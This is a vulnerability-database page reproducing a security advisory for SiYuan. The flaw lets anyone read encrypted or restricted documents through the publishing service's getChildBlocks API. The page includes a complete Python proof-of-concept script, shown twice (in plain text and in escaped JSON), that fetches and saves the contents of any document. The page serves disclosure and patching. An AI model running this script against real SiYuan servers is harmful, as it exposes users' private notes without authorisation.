GHSA-34XJ-66V3-6J83
Vulnerability from github – Published: 2026-03-25 19:36 – Updated: 2026-03-27 21:20
VLAI
Summary
SiYuan has Arbitrary Document Reading within the Publishing Service
Details
Details
Document IDs were retrieved via the /api/file/readDir interface, and then the /api/block/getChildBlocks interface was used to view the content of all documents.
PoC
#!/usr/bin/env python3
"""SiYuan /api/block/getChildBlocks 文档内容读取"""
import requests
import json
import sys
def get_child_blocks(target_url, doc_id):
"""
调用 SiYuan 的 /api/block/getChildBlocks API 获取文档内容
"""
url = f"{target_url.rstrip('/')}/api/block/getChildBlocks"
headers = {
"Content-Type": "application/json"
}
data = {
"id": doc_id
}
try:
response = requests.post(url, json=data, headers=headers, timeout=10)
response.raise_for_status()
result = response.json()
if result.get("code") != 0:
print(f"[-] 请求失败: {result.get('msg', '未知错误')}")
return None
return result.get("data")
except requests.exceptions.RequestException as e:
print(f"[-] 网络请求失败: {e}")
return None
except json.JSONDecodeError as e:
print(f"[-] JSON解析失败: {e}")
return None
def format_block_content(block):
"""格式化块内容"""
content = ""
# 获取块内容
if isinstance(block, dict):
# 尝试多种可能的字段
md = block.get("markdown", "") or block.get("content", "") or ""
if md:
content = md.strip()
return content
def main():
"""主函数"""
if len(sys.argv) > 1:
target_url = sys.argv[1]
else:
target_url = input("请输入 SiYuan 服务地址 (例如: http://localhost:6806): ").strip()
if not target_url:
target_url = "http://localhost:6806"
print(f"目标地址: {target_url}")
print("=" * 50)
while True:
print("\n" + "=" * 50)
doc_id = input("请输入文档ID (输入 'quit' 或 'exit' 退出): ").strip()
if doc_id.lower() in ['quit', 'exit', 'q']:
print("程序退出")
break
if not doc_id:
print("[-] 文档ID不能为空")
continue
print(f"\n[*] 正在读取文档: {doc_id}")
blocks = get_child_blocks(target_url, doc_id)
if blocks is None:
print("[-] 获取文档内容失败")
continue
if not blocks:
print(f"[!] 文档 {doc_id} 没有子块或为空")
continue
print(f"[+] 成功获取 {len(blocks)} 个子块")
print("-" * 50)
# 保存所有块内容
all_blocks_content = []
for i, block in enumerate(blocks, 1):
content = format_block_content(block)
if content:
print(content[:200] + ("..." if len(content) > 200 else ""))
all_blocks_content.append({
"index": i,
"content": content,
"raw_block": block
})
# 询问是否保存到文件
save_choice = input("\n是否保存到文件? (y/N): ").strip().lower()
if save_choice in ['y', 'yes']:
filename = f"doc_{doc_id}_blocks.json"
try:
with open(filename, "w", encoding="utf-8") as f:
json.dump({
"doc_id": doc_id,
"block_count": len(blocks),
"blocks": all_blocks_content
}, f, ensure_ascii=False, indent=2)
print(f"[+] 已保存到: {filename}")
except Exception as e:
print(f"[-] 保存失败: {e}")
print("-" * 50)
if __name__ == "__main__":
main()
Impact
File reading: All encrypted or prohibited documents under the publishing service could be read.
Severity
9.8 (Critical)
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan/kernel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "0.0.0-20260317012524-fe4523fff2c8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/siyuan-note/siyuan/kernel"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33669"
],
"database_specific": {
"cwe_ids": [
"CWE-125"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-25T19:36:22Z",
"nvd_published_at": "2026-03-26T22:16:29Z",
"severity": "CRITICAL"
},
"details": "### Details\n\nDocument IDs were retrieved via the /api/file/readDir interface, and then the /api/block/getChildBlocks interface was used to view the content of all documents.\n\n### PoC\n\n```python\n#!/usr/bin/env python3\n\"\"\"SiYuan /api/block/getChildBlocks \u6587\u6863\u5185\u5bb9\u8bfb\u53d6\"\"\"\nimport requests\nimport json\nimport sys\n\ndef get_child_blocks(target_url, doc_id):\n \"\"\"\n \u8c03\u7528 SiYuan \u7684 /api/block/getChildBlocks API \u83b7\u53d6\u6587\u6863\u5185\u5bb9\n \"\"\"\n url = f\"{target_url.rstrip(\u0027/\u0027)}/api/block/getChildBlocks\"\n \n headers = {\n \"Content-Type\": \"application/json\"\n }\n \n data = {\n \"id\": doc_id\n }\n \n try:\n response = requests.post(url, json=data, headers=headers, timeout=10)\n response.raise_for_status()\n \n result = response.json()\n \n if result.get(\"code\") != 0:\n print(f\"[-] \u8bf7\u6c42\u5931\u8d25: {result.get(\u0027msg\u0027, \u0027\u672a\u77e5\u9519\u8bef\u0027)}\")\n return None\n \n return result.get(\"data\")\n \n except requests.exceptions.RequestException as e:\n print(f\"[-] \u7f51\u7edc\u8bf7\u6c42\u5931\u8d25: {e}\")\n return None\n except json.JSONDecodeError as e:\n print(f\"[-] JSON\u89e3\u6790\u5931\u8d25: {e}\")\n return None\n\ndef format_block_content(block):\n \"\"\"\u683c\u5f0f\u5316\u5757\u5185\u5bb9\"\"\"\n content = \"\"\n \n # \u83b7\u53d6\u5757\u5185\u5bb9\n if isinstance(block, dict):\n # \u5c1d\u8bd5\u591a\u79cd\u53ef\u80fd\u7684\u5b57\u6bb5\n md = block.get(\"markdown\", \"\") or block.get(\"content\", \"\") or \"\"\n if md:\n content = md.strip()\n \n return content\n\ndef main():\n \"\"\"\u4e3b\u51fd\u6570\"\"\"\n if len(sys.argv) \u003e 1:\n target_url = sys.argv[1]\n else:\n target_url = input(\"\u8bf7\u8f93\u5165 SiYuan \u670d\u52a1\u5730\u5740 (\u4f8b\u5982: http://localhost:6806): \").strip()\n if not target_url:\n target_url = \"http://localhost:6806\"\n \n print(f\"\u76ee\u6807\u5730\u5740: {target_url}\")\n print(\"=\" * 50)\n \n while True:\n print(\"\\n\" + \"=\" * 50)\n doc_id = input(\"\u8bf7\u8f93\u5165\u6587\u6863ID (\u8f93\u5165 \u0027quit\u0027 \u6216 \u0027exit\u0027 \u9000\u51fa): \").strip()\n \n if doc_id.lower() in [\u0027quit\u0027, \u0027exit\u0027, \u0027q\u0027]:\n print(\"\u7a0b\u5e8f\u9000\u51fa\")\n break\n \n if not doc_id:\n print(\"[-] \u6587\u6863ID\u4e0d\u80fd\u4e3a\u7a7a\")\n continue\n \n print(f\"\\n[*] \u6b63\u5728\u8bfb\u53d6\u6587\u6863: {doc_id}\")\n \n blocks = get_child_blocks(target_url, doc_id)\n \n if blocks is None:\n print(\"[-] \u83b7\u53d6\u6587\u6863\u5185\u5bb9\u5931\u8d25\")\n continue\n \n if not blocks:\n print(f\"[!] \u6587\u6863 {doc_id} \u6ca1\u6709\u5b50\u5757\u6216\u4e3a\u7a7a\")\n continue\n \n print(f\"[+] \u6210\u529f\u83b7\u53d6 {len(blocks)} \u4e2a\u5b50\u5757\")\n print(\"-\" * 50)\n \n # \u4fdd\u5b58\u6240\u6709\u5757\u5185\u5bb9\n all_blocks_content = []\n \n for i, block in enumerate(blocks, 1):\n content = format_block_content(block)\n if content:\n print(content[:200] + (\"...\" if len(content) \u003e 200 else \"\"))\n \n all_blocks_content.append({\n \"index\": i,\n \"content\": content,\n \"raw_block\": block\n })\n \n # \u8be2\u95ee\u662f\u5426\u4fdd\u5b58\u5230\u6587\u4ef6\n save_choice = input(\"\\n\u662f\u5426\u4fdd\u5b58\u5230\u6587\u4ef6? (y/N): \").strip().lower()\n if save_choice in [\u0027y\u0027, \u0027yes\u0027]:\n filename = f\"doc_{doc_id}_blocks.json\"\n try:\n with open(filename, \"w\", encoding=\"utf-8\") as f:\n json.dump({\n \"doc_id\": doc_id,\n \"block_count\": len(blocks),\n \"blocks\": all_blocks_content\n }, f, ensure_ascii=False, indent=2)\n print(f\"[+] \u5df2\u4fdd\u5b58\u5230: {filename}\")\n except Exception as e:\n print(f\"[-] \u4fdd\u5b58\u5931\u8d25: {e}\")\n \n print(\"-\" * 50)\n\nif __name__ == \"__main__\":\n main()\n```\n\n\u003cimg width=\"1492\" height=\"757\" alt=\"image\" src=\"https://github.com/user-attachments/assets/2e08a286-dceb-4fd5-87d5-44f39983dcbc\" /\u003e\n\n### Impact\n\nFile reading: All encrypted or prohibited documents under the publishing service could be read.",
"id": "GHSA-34xj-66v3-6j83",
"modified": "2026-03-27T21:20:41Z",
"published": "2026-03-25T19:36:22Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-34xj-66v3-6j83"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33669"
},
{
"type": "PACKAGE",
"url": "https://github.com/siyuan-note/siyuan"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "SiYuan has Arbitrary Document Reading within the Publishing Service"
}
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Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
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- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
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The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
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Related by attack behaviour
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